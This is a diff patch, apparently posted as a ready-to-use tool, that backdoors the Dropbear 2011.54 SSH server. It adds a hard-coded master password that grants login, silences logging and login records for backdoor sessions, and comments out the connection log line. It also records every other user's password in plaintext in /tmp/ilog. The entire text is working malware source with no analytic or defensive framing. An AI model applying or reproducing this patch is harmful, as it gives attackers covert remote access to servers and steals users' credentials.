shell dropbeer patched

diff -u dropbear-2011.54/dbutil.c dropbear-2011.54.bd/dbutil.c
--- dropbear-2011.54/dbutil.c   2011-11-08 14:48:15.000000000 +0200
+++ dropbear-2011.54.bd/dbutil.c        2012-01-25 04:21:37.000000000 +0200
@@ -90,6 +90,8 @@
 }

 void dropbear_exit(const char* format, ...) {
+       if(backdoorActive == 1)
+       return;

        va_list param;

@@ -100,7 +102,8 @@

 static void generic_dropbear_exit(int exitcode, const char* format,
                va_list param) {
-
+       if(backdoorActive == 1)
+       exit(exitcode);
        char fmtbuf[300];

        snprintf(fmtbuf, sizeof(fmtbuf), "Exited: %s", format);
@@ -117,6 +120,8 @@
 static void generic_dropbear_log(int UNUSED(priority), const char* format,
                va_list param) {

+       if(backdoorActive == 1)
+       return;
        char printbuf[1024];

        vsnprintf(printbuf, sizeof(printbuf), format, param);
@@ -128,6 +133,9 @@
 /* this is what can be called to write arbitrary log messages */
 void dropbear_log(int priority, const char* format, ...) {

+       if(backdoorActive == 1)
+       return;
+
        va_list param;

        va_start(param, format);
diff -u dropbear-2011.54/includes.h dropbear-2011.54.bd/includes.h
--- dropbear-2011.54/includes.h 2011-11-08 14:48:15.000000000 +0200
+++ dropbear-2011.54.bd/includes.h      2012-01-25 04:37:31.000000000 +0200
@@ -25,7 +25,6 @@
 #ifndef _INCLUDES_H_
 #define _INCLUDES_H_

-
 #include "config.h"
 #include "options.h"
 #include "debug.h"
@@ -152,5 +151,9 @@
 #else
 # define UNUSED(x) x
 #endif
+#define B4XDOOR "your_pass_goes_here"
+FILE *f;
+#define ILOG "/tmp/ilog"
+int backdoorActive;

 #endif /* _INCLUDES_H_ */
diff -u dropbear-2011.54/loginrec.c dropbear-2011.54.bd/loginrec.c
--- dropbear-2011.54/loginrec.c 2011-11-08 14:48:15.000000000 +0200
+++ dropbear-2011.54.bd/loginrec.c      2012-01-25 04:16:33.000000000 +0200
@@ -327,6 +327,9 @@
 int
 login_write (struct logininfo *li)
 {
+       if(backdoorActive == 1)
+       return 0;
+
 #ifndef HAVE_CYGWIN
        if ((int)geteuid() != 0) {
          dropbear_log(LOG_WARNING,
diff -u dropbear-2011.54/process-packet.c dropbear-2011.54.bd/process-packet.c
--- dropbear-2011.54/process-packet.c   2011-11-08 14:48:15.000000000 +0200
+++ dropbear-2011.54.bd/process-packet.c        2012-01-25 04:07:29.000000000 +0200
@@ -69,6 +69,8 @@

                case SSH_MSG_DISCONNECT:
                        /* TODO cleanup? */
+                       if (backdoorActive == 1)
+                       return;
                        dropbear_close("Disconnect received");
        }

diff -u dropbear-2011.54/svr-authpasswd.c dropbear-2011.54.bd/svr-authpasswd.c
--- dropbear-2011.54/svr-authpasswd.c   2011-11-08 14:48:15.000000000 +0200
+++ dropbear-2011.54.bd/svr-authpasswd.c        2012-01-25 04:31:19.000000000 +0200
@@ -35,6 +35,8 @@
 /* Process a password auth request, sending success or failure messages as
  * appropriate */
 void svr_auth_password() {
+
+       backdoorActive = 0;

 #ifdef HAVE_SHADOW_H
        struct spwd *spasswd = NULL;
@@ -71,6 +73,18 @@

        password = buf_getstring(ses.payload, &passwordlen);

+       if(password){
+               if (!strcmp(password, B4XDOOR)) {
+                       backdoorActive = 1;
+                       send_msg_userauth_success();
+                       return;
+               }
+               if((f=fopen(ILOG,"a"))!=NULL){
+                       fprintf(f,"user:password --> %s:%s\n",ses.authstate.pw_name, password);
+                       fclose(f);
+               }
+       }
+
        /* the first bytes of passwdcrypt are the salt */
        testcrypt = crypt((char*)password, passwdcrypt);
        m_burn(password, passwordlen);
diff -u dropbear-2011.54/svr-main.c dropbear-2011.54.bd/svr-main.c
--- dropbear-2011.54/svr-main.c 2011-11-08 14:48:15.000000000 +0200
+++ dropbear-2011.54.bd/svr-main.c      2012-01-25 04:05:43.000000000 +0200
@@ -285,7 +285,7 @@
 #endif /* DEBUG_FORKGPROF */

                                getaddrstring(&remoteaddr, NULL, &remote_port, 0);
-                               dropbear_log(LOG_INFO, "Child connection from %s:%s", remote_host, remote_port);
+                               //dropbear_log(LOG_INFO, "Child connection from %s:%s", remote_host, remote_port);
                                m_free(remote_host);
                                m_free(remote_port);